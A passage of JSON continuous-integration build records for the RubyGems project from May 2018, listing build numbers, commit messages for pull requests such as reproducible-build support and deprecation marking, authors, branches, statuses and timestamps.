conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","branch":"auto","isTag":false,"commitId":"3d40b300c7c852bada8d2569f55769bc7b5ae12f","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"The Bundler Bot","committerUsername":"bundlerbot","committed":"2018-05-13T05:20:23+00:00","messages":[],"status":"success","started":"2018-05-13T05:20:45.5144164+00:00","finished":"2018-05-13T05:33:39.2939285+00:00","created":"2018-05-13T05:20:27.842438+00:00","updated":"2018-05-13T05:33:39.2939285+00:00"},{"buildId":15827221,"jobs":[],"buildNumber":1132,"version":"1132","message":"Auto merge of #2267 - sbleon:simplify_require_monkeypatch, r=duckinator","messageExtended":"Simplify the code that lets us call the original, non-monkeypatched Kernel#require\n\nI don''t see any reason to call `remove_method` before redefining it.","branch":"master","isTag":false,"commitId":"576bb2cc735a4ec29d78dd7d598e67e175476b7f","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"The Bundler Bot","committerUsername":"bundlerbot","committed":"2018-05-12T19:38:58+00:00","messages":[],"status":"success","started":"2018-05-12T20:07:38.4499448+00:00","finished":"2018-05-12T20:21:17.0251098+00:00","created":"2018-05-12T20:03:23.369624+00:00","updated":"2018-05-12T20:21:17.0251098+00:00"},{"buildId":15826941,"jobs":[],"buildNumber":1131,"version":"1131","message":"Auto merge of #2267 - sbleon:simplify_require_monkeypatch, r=duckinator","messageExtended":"Simplify the code that lets us call the original, non-monkeypatched Kernel#require\n\nI don''t see any reason to call `remove_method` before redefining it.","branch":"auto","isTag":false,"commitId":"576bb2cc735a4ec29d78dd7d598e67e175476b7f","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"The Bundler Bot","committerUsername":"bundlerbot","committed":"2018-05-12T19:38:58+00:00","messages":[],"status":"success","started":"2018-05-12T19:52:57.5649567+00:00","finished":"2018-05-12T20:07:21.1561415+00:00","created":"2018-05-12T19:39:01.497105+00:00","updated":"2018-05-12T20:07:21.1561415+00:00"},{"buildId":15826939,"jobs":[],"buildNumber":1130,"version":"1130","message":"Auto merge of #2278 - anthraxx:fix/reproducible-build, r=duckinator","messageExtended":"support SOURCE_DATE_EPOCH to make gem spec reproducible\n\nOptionally respect the SOURCE_DATE_EPOCH environment variable to be used\ninstead of TODAY to allow reproducible builds of created gem specs.\n\nIn case none is specified, fall back to the current time.\n______________\n\nThe problem is that using TODAY will change during time which makes created artifacts not reproducible (bit by bit identical).\n\nSpec:\nhttps://reproducible-builds.org/specs/source-date-epoch/\n\nBuy-in:\nhttps://reproducible-builds.org/docs/buy-in/\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [x] Write tests\n- [x] Write code to solve the problem\n- [x] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","branch":"master","isTag":false,"commitId":"8eef5078e3ec66cfd3d40c6cf9805570af78aba5","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"The Bundler Bot","committerUsername":"bundlerbot","committed":"2018-05-12T19:11:06+00:00","messages":[],"status":"success","started":"2018-05-12T19:39:09.7219694+00:00","finished":"2018-05-12T19:52:45.1078935+00:00","created":"2018-05-12T19:38:58.7682057+00:00","updated":"2018-05-12T19:52:45.1078935+00:00"},{"buildId":15826642,"jobs":[],"buildNumber":1129,"version":"1129","message":"Auto merge of #2278 - anthraxx:fix/reproducible-build, r=duckinator","messageExtended":"support SOURCE_DATE_EPOCH to make gem spec reproducible\n\nOptionally respect the SOURCE_DATE_EPOCH environment variable to be used\ninstead of TODAY to allow reproducible builds of created gem specs.\n\nIn case none is specified, fall back to the current time.\n______________\n\nThe problem is that using TODAY will change during time which makes created artifacts not reproducible (bit by bit identical).\n\nSpec:\nhttps://reproducible-builds.org/specs/source-date-epoch/\n\nBuy-in:\nhttps://reproducible-builds.org/docs/buy-in/\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [x] Write tests\n- [x] Write code to solve the problem\n- [x] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","branch":"auto","isTag":false,"commitId":"8eef5078e3ec66cfd3d40c6cf9805570af78aba5","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"The Bundler Bot","committerUsername":"bundlerbot","committed":"2018-05-12T19:11:06+00:00","messages":[],"status":"success","started":"2018-05-12T19:12:52.447351+00:00","finished":"2018-05-12T19:26:25.2328166+00:00","created":"2018-05-12T19:11:10.5698834+00:00","updated":"2018-05-12T19:26:25.2328166+00:00"},{"buildId":15826640,"jobs":[],"buildNumber":1128,"version":"1128","message":"Auto merge of #2278 - anthraxx:fix/reproducible-build, r=duckinator","messageExtended":"support SOURCE_DATE_EPOCH to make gem spec reproducible\n\nOptionally respect the SOURCE_DATE_EPOCH environment variable to be used\ninstead of TODAY to allow reproducible builds of created gem specs.\n\nIn case none is specified, fall back to the current time.\n______________\n\nThe problem is that using TODAY will change during time which makes created artifacts not reproducible (bit by bit identical).\n\nSpec:\nhttps://reproducible-builds.org/specs/source-date-epoch/\n\nBuy-in:\nhttps://reproducible-builds.org/docs/buy-in/\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [x] Write tests\n- [x] Write code to solve the problem\n- [x] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","branch":"auto","isTag":false,"commitId":"2617baa9d93fb2d98dea0856c60109f3a2993bc0","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"The Bundler Bot","committerUsername":"bundlerbot","committed":"2018-05-12T19:10:57+00:00","messages":[],"status":"failed","started":"2018-05-12T19:11:15.9231662+00:00","finished":"2018-05-12T19:12:46.8490297+00:00","created":"2018-05-12T19:11:00.8433462+00:00","updated":"2018-05-12T19:12:46.8490297+00:00"},{"buildId":15825993,"jobs":[],"buildNumber":1127,"version":"1127","message":"Auto merge of #2278 - anthraxx:fix/reproducible-build, r=duckinator","messageExtended":"support SOURCE_DATE_EPOCH to make gem spec reproducible\n\nOptionally respect the SOURCE_DATE_EPOCH environment variable to be used\ninstead of TODAY to allow reproducible builds of created gem specs.\n\nIn case none is specified, fall back to the current time.\n______________\n\nThe problem is that using TODAY will change during time which makes created artifacts not reproducible (bit by bit identical).\n\nSpec:\nhttps://reproducible-builds.org/specs/source-date-epoch/\n\nBuy-in:\nhttps://reproducible-builds.org/docs/buy-in/\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [x] Write tests\n- [x] Write code to solve the problem\n- [x] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","branch":"auto","isTag":false,"commitId":"a941b2df1a21907fc18d86643d4d6bbb6fc0b7b5","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"The Bundler Bot","committerUsername":"bundlerbot","committed":"2018-05-12T18:12:32+00:00","messages":[],"status":"success","started":"2018-05-12T18:12:47.1742682+00:00","finished":"2018-05-12T18:26:08.6409999+00:00","created":"2018-05-12T18:12:37.5322889+00:00","updated":"2018-05-12T18:26:08.6409999+00:00"},{"buildId":15803901,"jobs":[],"buildNumber":1126,"version":"1126","message":"Auto merge of #2286 - rubygems:remove-rubyversion, r=hsbt","messageExtended":"Removed needless condition for old versions of Ruby.\n\n# Description:\n\nThe master branch is no longer support < Ruby 2.2.\n______________\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","branch":"master","isTag":false,"commitId":"794b00d69222be6601c9dc9a9111dfba5e12fb93","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"The Bundler Bot","committerUsername":"bundlerbot","committed":"2018-05-11T13:19:45+00:00","messages":[],"status":"success","started":"2018-05-11T13:49:40.4997414+00:00","finished":"2018-05-11T14:04:40.655604+00:00","created":"2018-05-11T13:48:41.1680092+00:00","updated":"2018-05-11T14:04:40.655604+00:00"},{"buildId":15803146,"jobs":[],"buildNumber":1125,"version":"1125","message":"Auto merge of #2286 - rubygems:remove-rubyversion, r=hsbt","messageExtended":"Removed needless condition for old versions of Ruby.\n\n# Description:\n\nThe master branch is no longer support < Ruby 2.2.\n______________\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","branch":"auto","isTag":false,"commitId":"794b00d69222be6601c9dc9a9111dfba5e12fb93","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"The Bundler Bot","committerUsername":"bundlerbot","committed":"2018-05-11T13:19:45+00:00","messages":[],"status":"success","started":"2018-05-11T13:20:01.456929+00:00","finished":"2018-05-11T13:34:37.3352571+00:00","created":"2018-05-11T13:19:50.5984242+00:00","updated":"2018-05-11T13:34:37.3352571+00:00"},{"buildId":15798906,"jobs":[],"buildNumber":1124,"version":"1124","message":"Removed needless condition for old versions of Ruby.","branch":"master","isTag":false,"commitId":"7da0eedbaa15a2a1b4a5a8b11dd43cb873975b8e","authorName":"SHIBATA Hiroshi","authorUsername":"hsbt","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-05-11T09:31:11+00:00","pullRequestId":"2286","pullRequestName":"Removed needless condition for old versions of Ruby.","messages":[],"status":"success","started":"2018-05-11T09:38:11.8611475+00:00","finished":"2018-05-11T09:53:41.5215772+00:00","created":"2018-05-11T09:37:59.9217995+00:00","updated":"2018-05-11T09:53:41.5215772+00:00"},{"buildId":15776506,"jobs":[],"buildNumber":1123,"version":"1123","message":"Auto merge of #2269 - rubygems:more-deprecate-rubygems3, r=hsbt","messageExtended":"Mark deprecation to `ubygems.rb` for RubyGems 4\n\n# Description:\n\nI''m going to mark deprecate status to obsoleted methods for RubyGems 4\n______________\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","branch":"2.7","isTag":false,"commitId":"704b1d2ab667e851ab23a0faf1a58efccc9e0647","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-05-10T12:36:36+00:00","messages":[],"status":"success","started":"2018-05-10T12:37:00.5463915+00:00","finished":"2018-05-10T13:21:44.2136801+00:00","created":"2018-05-10T12:36:47.7830767+00:00","updated":"2018-05-10T13:21:44.2136801+00:00"},{"buildId":15776035,"jobs":[],"buildNumber":1122,"version":"1122","message":"Auto merge of #2269 - rubygems:more-deprecate-rubygems3, r=hsbt","messageExtended":"Mark deprecation to `ubygems.rb` for RubyGems 4\n\n# Description:\n\nI''m going to mark deprecate status to obsoleted methods for RubyGems 4\n______________\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","branch":"master","isTag":false,"commitId":"faacaeb6865dded2f52bea8ddf95cc45e9664b4d","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"The Bundler Bot","committerUsername":"bundlerbot","committed":"2018-05-10T11:45:31+00:00","messages":[],"status":"success","started":"2018-05-10T12:10:46.7874887+00:00","finished":"2018-05-10T12:24:51.090671+00:00","created":"2018-05-10T12:10:35.4535859+00:00","updated":"2018-05-10T12:24:51.090671+00:00"},{"buildId":15775596,"jobs":[],"buildNumber":1121,"version":"1121","message":"Auto merge of #2269 - rubygems:more-deprecate-rubygems3, r=hsbt","messageExtended":"Mark deprecation to `ubygems.rb` for RubyGems 4\n\n# Description:\n\nI''m going to mark deprecate status to obsoleted methods for RubyGems 4\n______________\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","branch":"auto","isTag":false,"commitId":"faacaeb6865dded2f52bea8ddf95cc45e9664b4d","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"The Bundler Bot","committerUsername":"bundlerbot","committed":"2018-05-10T11:45:31+00:00","messages":[],"status":"success","started":"2018-05-10T11:45:47.6936639+00:00","finished":"2018-05-10T12:00:10.7894114+00:00","created":"2018-05-10T11:45:35.8718251+00:00","updated":"2018-05-10T12:00:10.7894114+00:00"},{"buildId":15773661,"jobs":[],"buildNumber":1120,"version":"1120","message":"Applied https://github.com/rubygems/rubygems/pull/2269#discussion_r184153912","branch":"master","isTag":false,"commitId":"e37b5f762330de616ee187d056d50bf26c52352f","authorName":"SHIBATA Hiroshi","authorUsername":"hsbt","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-05-10T09:47:52+00:00","pullRequestId":"2269","pullRequestName":"Mark deprecation to `ubygems.rb` for RubyGems 4","messages":[],"status":"success","started":"2018-05-10T10:02:01.3111727+00:00","finished":"2018-05-10T10:16:03.8960496+00:00","created":"2018-05-10T09:48:04.3993728+00:00","updated":"2018-05-10T10:16:03.8960496+00:00"},{"buildId":15773660,"jobs":[],"buildNumber":1119,"version":"1119","message":"Applied https://github.com/rubygems/rubygems/pull/2269#discussion_r184153912","branch":"more-deprecate-rubygems3","isTag":false,"commitId":"5f5a0be5be075a409d6cec27b499ee41e06f2252","authorName":"SHIBATA Hiroshi","authorUsername":"hsbt","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-05-10T09:47:52+00:00","messages":[],"status":"success","started":"2018-05-10T09:48:14.2514287+00:00","finished":"2018-05-10T10:01:53.4669516+00:00","created":"2018-05-10T09:48:02.3517248+00:00","updated":"2018-05-10T10:01:53.4669516+00:00"},{"buildId":15759443,"jobs":[],"buildNumber":1118,"version":"1118","message":"support SOURCE_DATE_EPOCH to make gem spec reproducible","messageExtended":"Optionally respect the SOURCE_DATE_EPOCH environment variable to be used\ninstead of TODAY to allow reproducible builds of created gem specs.\n\nIn case none is specified, fall back to the current time.","branch":"master","isTag":false,"commitId":"de508bb0cdcf2939ba8d610833bb62a301b4006f","authorName":"anthraxx","authorUsername":"anthraxx","committerName":"anthraxx","committerUsername":"anthraxx","committed":"2018-05-02T19:34:32+00:00","pullRequestId":"2278","pullRequestName":"support SOURCE_DATE_EPOCH to make gem spec reproducible","messages":[],"status":"success","started":"2018-05-09T18:10:52.2768248+00:00","finished":"2018-05-09T18:27:17.2484055+00:00","created":"2018-05-09T18:10:32.8702101+00:00","updated":"2018-05-09T18:27:17.2484055+00:00"},{"buildId":15747429,"jobs":[],"buildNumber":1117,"version":"1117","message":"Auto merge of #2284 - rubygems:extract-file-realpath, r=hsbt","messageExtended":"Use File.realpath directlry in Gem::Package\n\n# Description:\n\nWorkaround of File.realpath was removed from 84b8e4bd7cc48482989b34338f5092e9cb3e0cb5\n\n______________\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","branch":"master","isTag":false,"commitId":"f9942668cbfe947c87c404ff38d612dd9b0a2c5b","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"The Bundler Bot","committerUsername":"bundlerbot","committed":"2018-05-09T09:00:16+00:00","messages":[],"status":"success","started":"2018-05-09T09:27:10.9642082+00:00","finished":"2018-05-09T09:41:53.503211+00:00","created":"2018-05-09T09:26:54.1811246+00:00","updated":"2018-05-09T09:41:53.503211+00:00"},{"buildId":15746914,"jobs":[],"buildNumber":1116,"version":"1116","message":"Auto merge of #2284 - rubygems:extract-file-realpath, r=hsbt","messageExtended":"Use File.realpath directlry in Gem::Package\n\n# Description:\n\nWorkaround of File.realpath was removed from 84b8e4bd7cc48482989b34338f5092e9cb3e0cb5\n\n______________\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","branch":"auto","isTag":false,"commitId":"f9942668cbfe947c87c404ff38d612dd9b0a2c5b","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"The Bundler Bot","committerUsername":"bundlerbot","committed":"2018-05-09T09:00:16+00:00","messages":[],"status":"success","started":"2018-05-09T09:00:35.5363167+00:00","finished":"2018-05-09T09:15:31.7539586+00:00","created":"2018-05-09T09:00:25.19188+00:00","updated":"2018-05-09T09:15:31.7539586+00:00"},{"buildId":15744099,"jobs":[],"buildNumber":1115,"version":"1115","message":"Use File.realpath directlry.","messageExtended":" Workaround of File.realpath was removed from 84b8e4bd7cc48482989b34338f5092e9cb3e0cb5","branch":"master","isTag":false,"commitId":"864118430eb4ac633f11f1146b515c81c0c82635","authorName":"SHIBATA Hiroshi","authorUsername":"hsbt","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-05-09T05:58:55+00:00","pullRequestId":"2284","pullRequestName":"Use File.realpath directlry in Gem::Package","messages":[],"status":"success","started":"2018-05-09T06:06:20.7772379+00:00","finished":"2018-05-09T06:20:16.0074287+00:00","created":"2018-05-09T06:06:06.4678742+00:00","updated":"2018-05-09T06:20:16.0074287+00:00"},{"buildId":15743481,"jobs":[],"buildNumber":1114,"version":"1114","message":"Auto merge of #2282 - rubygems:segiddins/chdir-failed-extension, r=segiddins","messageExtended":"chdir back to original directory when building an extension fails\n\n# Description:\n\nFixes a regression caused by https://github.com/rubygems/rubygems/pull/1135, in which the directory wouldn''t be restored when building an extension failed, causing any error handlers (such as Bundler''s) to be run in an unexpected directory\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [x] Write tests\n- [x] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","branch":"master","isTag":false,"commitId":"168a96c57673fd4f7def68895a0d4cb13b76cee3","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"The Bundler Bot","committerUsername":"bundlerbot","committed":"2018-05-09T04:50:06+00:00","messages":[],"status":"failed","started":"2018-05-09T05:17:21.2741897+00:00","finished":"2018-05-09T05:30:52.187842+00:00","created":"2018-05-09T05:17:04.494509+00:00","updated":"2018-05-09T05:30:52.187842+00:00"},{"buildId":15743228,"jobs":[],"buildNumber":1113,"version":"1113","message":"Auto merge of #2282 - rubygems:segiddins/chdir-failed-extension, r=segiddins","messageExtended":"chdir back to original directory when building an extension fails\n\n# Description:\n\nFixes a regression caused by https://github.com/rubygems/rubygems/pull/1135, in which the directory wouldn''t be restored when building an extension failed, causing any error handlers (such as Bundler''s) to be run in an unexpected directory\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [x] Write tests\n- [x] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","branch":"auto","isTag":false,"commitId":"168a96c57673fd4f7def68895a0d4cb13b76cee3","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"The Bundler Bot","committerUsername":"bundlerbot","committed":"2018-05-09T04:50:06+00:00","messages":[],"status":"success","started":"2018-05-09T05:03:48.3575672+00:00","finished":"2018-05-09T05:17:13.6815891+00:00","created":"2018-05-09T04:50:13.7329948+00:00","updated":"2018-05-09T05:17:13.6815891+00:00"},{"buildId":15743226,"jobs":[],"buildNumber":1112,"version":"1112","message":"Auto merge of #2283 - rubygems:segiddins/default-rake-task, r=hsbt","messageExtended":"[Rakefile] Add a default task that runs the tests\n\n# Description:\n\n______________\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","branch":"master","isTag":false,"commitId":"b4ff10c2aa49df695e27653afc071a2c41a04d5b","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"The Bundler Bot","committerUsername":"bundlerbot","committed":"2018-05-09T04:26:17+00:00","messages":[],"status":"success","started":"2018-05-09T04:50:15.2801484+00:00","finished":"2018-05-09T05:03:41.8670151+00:00","created":"2018-05-09T04:50:02.3403983+00:00","updated":"2018-05-09T05:03:41.8670151+00:00"},{"buildId":15743029,"jobs":[],"buildNumber":1111,"version":"1111","message":"Auto merge of #2283 - rubygems:segiddins/default-rake-task, r=hsbt","messageExtended":"[Rakefile] Add a default task that runs the tests\n\n# Description:\n\n______________\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","branch":"auto","isTag":false,"commitId":"b4ff10c2aa49df695e27653afc071a2c41a04d5b","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"The Bundler Bot","committerUsername":"bundlerbot","committed":"2018-05-09T04:26:17+00:00","messages":[],"status":"failed","started":"2018-05-09T04:26:32.4497325+00:00","finished":"2018-05-09T04:40:57.1077655+00:00","created":"2018-05-09T04:26:21.9993271+00:00","updated":"2018-05-09T04:40:57.1077655+00:00"},{"buildId":15742712,"jobs":[],"buildNumber":1110,"version":"1110","message":"chdir back to original directory when building an extension fails","branch":"master","isTag":false,"commitId":"4c17d57da650e833efab87e8e560d885d33b4ea9","authorName":"Samuel Giddins","authorUsername":"segiddins","committerName":"Samuel Giddins","committerUsername":"segiddins","committed":"2018-05-09T03:17:53+00:00","pullRequestId":"2282","pullRequestName":"chdir back to original directory when building an extension fails","messages":[],"status":"success","started":"2018-05-09T03:58:40.5219397+00:00","finished":"2018-05-09T04:12:17.3049398+00:00","created":"2018-05-09T03:58:17.7114603+00:00","updated":"2018-05-09T04:12:17.3049398+00:00"},{"buildId":15742361,"jobs":[],"buildNumber":1109,"version":"1109","message":"[Rakefile] Add a default task that runs the tests","branch":"master","isTag":false,"commitId":"c2188c033599f3d0e3351dd3fa2eb9c00d06bff2","authorName":"Samuel Giddins","authorUsername":"segiddins","committerName":"Samuel Giddins","committerUsername":"segiddins","committed":"2018-05-09T03:25:52+00:00","pullRequestId":"2283","pullRequestName":"[Rakefile] Add a default task that runs the tests","messages":[],"status":"success","started":"2018-05-09T03:37:52.3210401+00:00","finished":"2018-05-09T03:51:08.9614055+00:00","created":"2018-05-09T03:26:25.1437945+00:00","updated":"2018-05-09T03:51:08.9614055+00:00"},{"buildId":15742336,"jobs":[],"buildNumber":1108,"version":"1108","message":"chdir back to original directory when building an extension fails","branch":"master","isTag":false,"commitId":"4c17d57da650e833efab87e8e560d885d33b4ea9","authorName":"Samuel Giddins","authorUsername":"segiddins","committerName":"Samuel Giddins","committerUsername":"segiddins","committed":"2018-05-09T03:17:53+00:00","pullRequestId":"2282","pullRequestName":"chdir back to original directory when building an extension fails","messages":[],"status":"failed","started":"2018-05-09T03:23:46.4377452+00:00","finished":"2018-05-09T03:37:44.2115961+00:00","created":"2018-05-09T03:23:33.3628356+00:00","updated":"2018-05-09T03:37:44.2115961+00:00"},{"buildId":15720385,"jobs":[],"buildNumber":1107,"version":"1107","message":"Ignore warnings for Gem::Util helpers before bundler-1.16.2 release","branch":"2.7","isTag":false,"commitId":"e1b5e7a4886cc431f17b64754427b54ecf77e655","authorName":"SHIBATA Hiroshi","authorUsername":"hsbt","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-05-08T09:16:30+00:00","messages":[],"status":"success","started":"2018-05-08T09:17:02.8923238+00:00","finished":"2018-05-08T10:05:42.1891086+00:00","created":"2018-05-08T09:16:49.7851131+00:00","updated":"2018-05-08T10:05:42.1891086+00:00"},{"buildId":15717881,"jobs":[],"buildNumber":1106,"version":"1106","message":"History","branch":"2.7","isTag":false,"commitId":"b2868dd7f8145623afaae1e906e51eedf1c9c840","authorName":"SHIBATA Hiroshi","authorUsername":"hsbt","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-05-08T06:50:29+00:00","messages":[],"status":"success","started":"2018-05-08T06:50:53.0687931+00:00","finished":"2018-05-08T07:32:36.5769587+00:00","created":"2018-05-08T06:50:39.7380957+00:00","updated":"2018-05-08T07:32:36.5769587+00:00"},{"buildId":15716995,"jobs":[],"buildNumber":1105,"version":"1105","message":"Workaround for dependency problem on Travis environment with Ruby 2.5.x","branch":"2.7","isTag":false,"commitId":"09ccbcf7414e3503482dbda6b9a49cdd77f18fb4","authorName":"SHIBATA Hiroshi","authorUsername":"hsbt","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-05-08T05:41:06+00:00","messages":[],"status":"success","started":"2018-05-08T05:43:34.665281+00:00","finished":"2018-05-08T06:27:45.5923594+00:00","created":"2018-05-08T05:41:17.7746456+00:00","updated":"2018-05-08T06:27:45.5923594+00:00"},{"buildId":15716610,"jobs":[],"buildNumber":1104,"version":"1104","message":"Workaround for dependency problem on Travis environment with Ruby 2.5.x","branch":"2.7","isTag":false,"commitId":"c47bcda4ef9a2ffa4da0d28778c41d8dde855130","authorName":"SHIBATA Hiroshi","authorUsername":"hsbt","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-05-08T05:06:07+00:00","pullRequestId":"2280","pullRequestName":"Workaround for dependency problem on Travis environment with Ruby 2.5.x","messages":[],"status":"cancelled","finished":"2018-05-08T05:40:52.7571033+00:00","created":"2018-05-08T05:07:29.2042741+00:00","updated":"2018-05-08T05:40:52.7571033+00:00"},{"buildId":15716596,"jobs":[],"buildNumber":1103,"version":"1103","message":"Workaround for dependency problem on Travis environment with Ruby 2.5.x","branch":"workaround-travis-250","isTag":false,"commitId":"e9d22efcedc27b2ad32ce24c13d80b4480969059","authorName":"SHIBATA Hiroshi","authorUsername":"hsbt","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-05-08T05:06:07+00:00","messages":[],"status":"failed","started":"2018-05-08T05:16:29.9237053+00:00","finished":"2018-05-08T05:43:27.7602724+00:00","created":"2018-05-08T05:06:16.0848788+00:00","updated":"2018-05-08T05:43:27.7602724+00:00"},{"buildId":15716234,"jobs":[],"buildNumber":1102,"version":"1102","message":"Auto merge of #2214 - rubygems:deprecate-for-rubygems3, r=duckinator","messageExtended":"Deprecate for rubygems3\n\nI''ve marked deprecated methods without `Gem::Deprecate#deprecate`. We''re going to remove it in RubyGems 4(not 3)\n______________\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","branch":"2.7","isTag":false,"commitId":"01ad5eaefb164a770a30fdd4eaa67244caa8aac6","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-05-08T04:29:29+00:00","messages":[],"status":"success","started":"2018-05-08T04:29:54.1909894+00:00","finished":"2018-05-08T05:16:21.0336275+00:00","created":"2018-05-08T04:29:42.0290111+00:00","updated":"2018-05-08T05:16:21.0336275+00:00"},{"buildId":15639890,"jobs":[],"buildNumber":1101,"version":"1101","message":"support SOURCE_DATE_EPOCH to make gem spec reproducible","messageExtended":"Optionally respect the SOURCE_DATE_EPOCH environment variable to be used\ninstead of TODAY to allow reproducible builds of created gem specs.\n\nIn case none is specified, fall back to the current time.","branch":"master","isTag":false,"commitId":"cd50e16b7d66e34e1decf9f45f13fffbb6ab20d6","authorName":"anthraxx","authorUsername":"anthraxx","committerName":"anthraxx","committerUsername":"anthraxx","committed":"2018-05-02T19:34:32+00:00","pullRequestId":"2278","pullRequestName":"support SOURCE_DATE_EPOCH to make gem spec reproducible","messages":[],"status":"success","started":"2018-05-04T00:19:31.1715954+00:00","finished":"2018-05-04T00:35:10.3323678+00:00","created":"2018-05-04T00:19:17.6090261+00:00","updated":"2018-05-04T00:35:10.3323678+00:00"},{"buildId":15613085,"jobs":[],"buildNumber":1100,"version":"1100","message":"support SOURCE_DATE_EPOCH to make gem spec reproducible","messageExtended":"Optionally respect the SOURCE_DATE_EPOCH environment variable to be used\ninstead of TODAY to allow reproducible builds of created gem specs.\n\nIn case none is specified, fall back to the current time.","branch":"master","isTag":false,"commitId":"82bbc4fce2eab7a7c71fd5a20cb9fdc433c40bf8","authorName":"anthraxx","authorUsername":"anthraxx","committerName":"anthraxx","committerUsername":"anthraxx","committed":"2018-05-02T19:34:32+00:00","pullRequestId":"2278","pullRequestName":"support SOURCE_DATE_EPOCH to make gem spec reproducible","messages":[],"status":"failed","started":"2018-05-03T00:56:18.3163964+00:00","finished":"2018-05-03T01:10:40.8669678+00:00","created":"2018-05-03T00:56:07.7525275+00:00","updated":"2018-05-03T01:10:40.8669678+00:00"},{"buildId":15611961,"jobs":[],"buildNumber":1099,"version":"1099","message":"support SOURCE_DATE_EPOCH to make gem spec reproducible","messageExtended":"Optionally respect the SOURCE_DATE_EPOCH environment variable to be used\ninstead of TODAY to allow reproducible builds of created gem specs.\n\nIn case none is specified, fall back to the 